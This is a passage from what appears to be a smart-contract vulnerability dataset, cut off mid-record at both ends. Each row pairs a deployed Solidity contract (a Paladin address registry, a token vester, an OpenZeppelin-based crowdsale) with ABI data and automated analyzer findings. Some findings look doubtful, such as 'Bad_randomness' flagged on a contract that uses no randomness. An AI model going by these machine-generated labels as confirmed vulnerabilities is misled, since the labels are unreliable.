"SOLIDITY_VISIBILITY", "line": 889, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1458, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 630, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 630, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 631, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 631, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 631, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 631, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 633, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 633, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 633, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addrs","type":"address[]"},{"internalType":"uint256[]","name":"_limit","type":"uint256[]"}],"name":"addTeamMintWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addrs","type":"address[]"},{"internalType":"uint256[]","name":"_limit","type":"uint256[]"}],"name":"addWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"availableTokenCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newCost","type":"uint256"}],"name":"changeCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPresaleActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPublicSaleActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTeamMintActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPresaleMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"day","type":"uint256"}],"name":"mintDay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presaleDay","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"presaleMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"publicMaxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"publicSupplyMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"teamMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"teamMintMaxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamMintSupplyMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"teamWhitelist","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"togglePresaleStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"togglePublicSaleStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"toggleTeamMintStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelist","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.7+commit.e28d00a7 | false | 200 | Default | OSL-3.0 | false | ipfs://0014cb846ad7a9185d69278b629b5831aa65d8b6c56ecd57c210c3c3d34edcd5 |
|||
AddressRegistry | 0x90e0f42f5c6cdcc77bc68a545f27e56e4398b75f | Solidity | // File: contracts/AddressRegistry.sol
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
import "./utils/Admin.sol";
/** @title Paladin AddressRegistry */
/// @author Paladin
contract AddressRegistry is Admin {
address private controller;
address private loanToken;
//underlying -> palPool
mapping(address => address) private palPools;
//underlying -> palToken
mapping(address => address) private palTokens;
//palPool -> palToken
mapping(address => address) private palTokensByPool;
constructor(
address _controller,
address _loanToken,
address[] memory _underlyings,
address[] memory _pools,
address[] memory _tokens
) {
admin = msg.sender;
controller = _controller;
loanToken = _loanToken;
for(uint i = 0; i < _pools.length; i++){
palPools[_underlyings[i]] = _pools[i];
palTokens[_underlyings[i]] = _tokens[i];
palTokensByPool[_pools[i]] = _tokens[i];
}
}
/**
* @notice Get the Paladin controller address
* @return address : address of the controller
*/
function getController() external view returns(address){
return controller;
}
/**
* @notice Get the PalLoanToken contract address
* @return address : address of the PalLoanToken contract
*/
function getPalLoanToken() external view returns(address){
return loanToken;
}
/**
* @notice Return the PalPool linked to a given ERC20 token
* @param _underlying Address of the ERC20 underlying for the PalPool
* @return address : address of the PalPool
*/
function getPool(address _underlying) external view returns(address){
return palPools[_underlying];
}
/**
* @notice Return the PalToken linked to a given ERC20 token
* @param _underlying Address of the ERC20 underlying for the PalToken
* @return address : address of the PalToken
*/
function getToken(address _underlying) external view returns(address){
return palTokens[_underlying];
}
/**
* @notice Return the PalToken linked to a given PalPool
* @param _pool Address of the PalToken linked to the PalPool
* @return address : address of the PalToken
*/
function getTokenByPool(address _pool) external view returns(address){
return palTokensByPool[_pool];
}
/**
* @notice Update the Paladin Controller address
* @param _newAddress Address of the new Controller
*/
function _setController(address _newAddress) external adminOnly {
controller = _newAddress;
}
/**
* @notice Add a new Pool to the Registry
* @dev Admin fucntion : Add a new PalPool & PalToken in the registry
* @param _underlying Pool underlying ERC20 address
* @param _pool PalPool address
* @param _token PalToken address
*/
function _setPool(address _underlying, address _pool, address _token) external adminOnly {
palPools[_underlying] = _pool;
palTokens[_underlying] = _token;
palTokensByPool[_pool] = _token;
}
}
// File: contracts/utils/Admin.sol
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
/** @title Admin contract */
/// @author Paladin
contract Admin {
/** @notice (Admin) Event when the contract admin is updated */
event NewAdmin(address oldAdmin, address newAdmin);
/** @dev Admin address for this contract */
address payable internal admin;
modifier adminOnly() {
//allows only the admin of this contract to call the function
require(msg.sender == admin, '1');
_;
}
/**
* @notice Set a new Admin
* @dev Changes the address for the admin parameter
* @param _newAdmin address of the new Controller Admin
*/
function setNewAdmin(address payable _newAdmin) external adminOnly {
address _oldAdmin = admin;
admin = _newAdmin;
emit NewAdmin(_oldAdmin, _newAdmin);
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["153"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["147", "147"]}] | [{"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"contracts/utils/Admin.sol": [28]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"contracts/utils/Admin.sol": [26]}}] | [] | [{"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 50, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 50, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 133, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 13, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 127, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 23, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 25, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 28, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 31, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 34, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 38, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 152, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 153, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 154, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 156, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 156, "severity": 1}] | [{"inputs":[{"internalType":"address","name":"_controller","type":"address"},{"internalType":"address","name":"_loanToken","type":"address"},{"internalType":"address[]","name":"_underlyings","type":"address[]"},{"internalType":"address[]","name":"_pools","type":"address[]"},{"internalType":"address[]","name":"_tokens","type":"address[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"NewAdmin","type":"event"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"_setController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_underlying","type":"address"},{"internalType":"address","name":"_pool","type":"address"},{"internalType":"address","name":"_token","type":"address"}],"name":"_setPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getController","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPalLoanToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_underlying","type":"address"}],"name":"getPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_underlying","type":"address"}],"name":"getToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pool","type":"address"}],"name":"getTokenByPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"_newAdmin","type":"address"}],"name":"setNewAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.6+commit.7338295f | true | 25,000 | 000000000000000000000000bbfa3b05b2dae65fb4c05ec7f1598793a4bc062300000000000000000000000055da1cbd77b1c3b2d8bfe0f5fdf63d684b49f8a500000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000001e00000000000000000000000000000000000000000000000000000000000000004000000000000000000000000c00e94cb662c3520282e6f5717214004a7f268880000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f9840000000000000000000000007fc66500c84a76ad7e9c93437bfc5ac33e2ddae90000000000000000000000004da27a545c0c5b758a6ba100e3a049001de870f5000000000000000000000000000000000000000000000000000000000000000400000000000000000000000050be5fe4de4efc3a0adac65872548369720554230000000000000000000000007835d976516f82ca8a3ed2942c4c6f9c4e44bb740000000000000000000000007ba283b1ddcdd0abe9d0d3f36345645754315978000000000000000000000000cdc3dd86c99b58749de0f697dfc1abe4be22216d00000000000000000000000000000000000000000000000000000000000000040000000000000000000000008f5c4486fd172a63f6e7f51902bb37cd5cd010b40000000000000000000000007ffad0da714f4595fc9c48fe789d76b9137d7245000000000000000000000000a4dd29192b42c5039fd9356382a5d57218c9d65000000000000000000000000024e79e946dea5482212c38aab2d0782f04cdb0e0 | Default | false | ||||
FeswMultiVester | 0x4bc2c969eda92a095b6074470db2e6ed02e5213e | Solidity | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.7.0;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint128 x, uint128 y) internal pure returns (uint128 z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint128 x, uint128 y) internal pure returns (uint128 z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint128 x, uint128 y) internal pure returns (uint128 z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
interface IFeswap {
function balanceOf(address account) external view returns (uint);
function transfer(address dst, uint rawAmount) external returns (bool);
}
contract FeswMultiVester {
using SafeMath for uint128;
struct VesterInfo {
uint128 vestingAmount;
uint32 vestingBegin;
uint32 vestingCliff;
uint32 vestingEnd;
uint32 lastClaimTime;
}
address public Fesw;
address public owner;
address public recipient;
uint64 public numTotalVester;
uint64 public noVesterClaimable;
// Mapping VesterInfoID to the Vester
mapping (uint64 => VesterInfo) public allVesters;
constructor(address Fesw_, address recipient_) {
owner = msg.sender;
Fesw = Fesw_;
recipient = recipient_;
}
receive() external payable { }
function setOwner(address owner_) public {
require(msg.sender == owner, 'Owner not allowed');
owner = owner_;
}
function setRecipient(address recipient_) public {
require(msg.sender == recipient, 'Recipient not allowed');
recipient = recipient_;
}
function deployVester( uint vestingAmount_,
uint vestingBegin_,
uint vestingCliff_,
uint vestingEnd_) public {
require(msg.sender == owner, 'Deploy not allowed');
require(vestingAmount_ > 0, 'Wrong p0');
require(uint32(vestingBegin_) > block.timestamp, 'Wrong p1');
require(uint32(vestingCliff_) > uint32(vestingBegin_), 'Wrong p2');
require(uint32(vestingEnd_) > uint32(vestingCliff_), 'Wrong p3');
// Prepare vesterInfo infomation
VesterInfo memory vesterInfo;
vesterInfo.vestingAmount = uint128(vestingAmount_);
vesterInfo.vestingBegin = uint32(vestingBegin_);
vesterInfo.vestingCliff = uint32(vestingCliff_);
vesterInfo.vestingEnd = uint32(vestingEnd_);
vesterInfo.lastClaimTime = uint32(vestingBegin_);
allVesters[numTotalVester] = vesterInfo;
numTotalVester += 1;
}
function claim() public {
VesterInfo storage vesterInfo = allVesters[noVesterClaimable];
require(vesterInfo.vestingAmount > 0, 'Not claimable');
require(block.timestamp >= vesterInfo.vestingCliff, 'Not time yet');
uint amount;
if (block.timestamp >= vesterInfo.vestingEnd) {
noVesterClaimable += 1; // Next vester could be non-available
if(noVesterClaimable == numTotalVester) { // for last vester, claim all
amount = IFeswap(Fesw).balanceOf(address(this));
} else {
amount = vesterInfo.vestingAmount.mul(vesterInfo.vestingEnd - vesterInfo.lastClaimTime) / (vesterInfo.vestingEnd - vesterInfo.vestingBegin);
}
} else {
amount = vesterInfo.vestingAmount.mul(uint32(block.timestamp) - vesterInfo.lastClaimTime) / (vesterInfo.vestingEnd - vesterInfo.vestingBegin);
vesterInfo.lastClaimTime = uint32(block.timestamp);
}
IFeswap(Fesw).transfer(recipient, amount);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["104"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["88"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["102", "101"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["53"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["84", "94", "98", "101"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["93", "70", "91"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [8, 6, 7]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [10, 11, 12]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FeswMultiVester.sol": [63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FeswMultiVester.sol": [56, 53, 54, 55]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FeswMultiVester.sol": [87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FeswMultiVester.sol": [58, 59, 60, 61]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FeswMultiVester.sol": [2]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"FeswMultiVester.sol": [51]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [60]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [47]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [55]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [48]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FeswMultiVester.sol": [35]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [93]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [70]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [104]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"FeswMultiVester.sol": [75]}}] | [] | [{"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 25, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 45, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 51, "severity": 1}] | [{"inputs":[{"internalType":"address","name":"Fesw_","type":"address"},{"internalType":"address","name":"recipient_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Fesw","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint64","name":"","type":"uint64"}],"name":"allVesters","outputs":[{"internalType":"uint128","name":"vestingAmount","type":"uint128"},{"internalType":"uint32","name":"vestingBegin","type":"uint32"},{"internalType":"uint32","name":"vestingCliff","type":"uint32"},{"internalType":"uint32","name":"vestingEnd","type":"uint32"},{"internalType":"uint32","name":"lastClaimTime","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"vestingAmount_","type":"uint256"},{"internalType":"uint256","name":"vestingBegin_","type":"uint256"},{"internalType":"uint256","name":"vestingCliff_","type":"uint256"},{"internalType":"uint256","name":"vestingEnd_","type":"uint256"}],"name":"deployVester","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"noVesterClaimable","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numTotalVester","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recipient","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"}],"name":"setOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient_","type":"address"}],"name":"setRecipient","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.7.0+commit.9e61f92b | true | 999,999 | 0000000000000000000000004269eaec0710b874ea55e2aedc8fb66223522bbe000000000000000000000000603770d6e4fb1a66845d28955068f10d610f35f8 | Default | GNU GPLv3 | false | ipfs://3ece19ed4c208a255276ff27eab3cb95dceed1fd0982997f99b64f38e034ec16 |
||
XiCrowdsale | 0xe30385bb725edd1c26c083ef56fe60e3b5528c5d | Solidity | // File: contracts/XiToken.sol
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
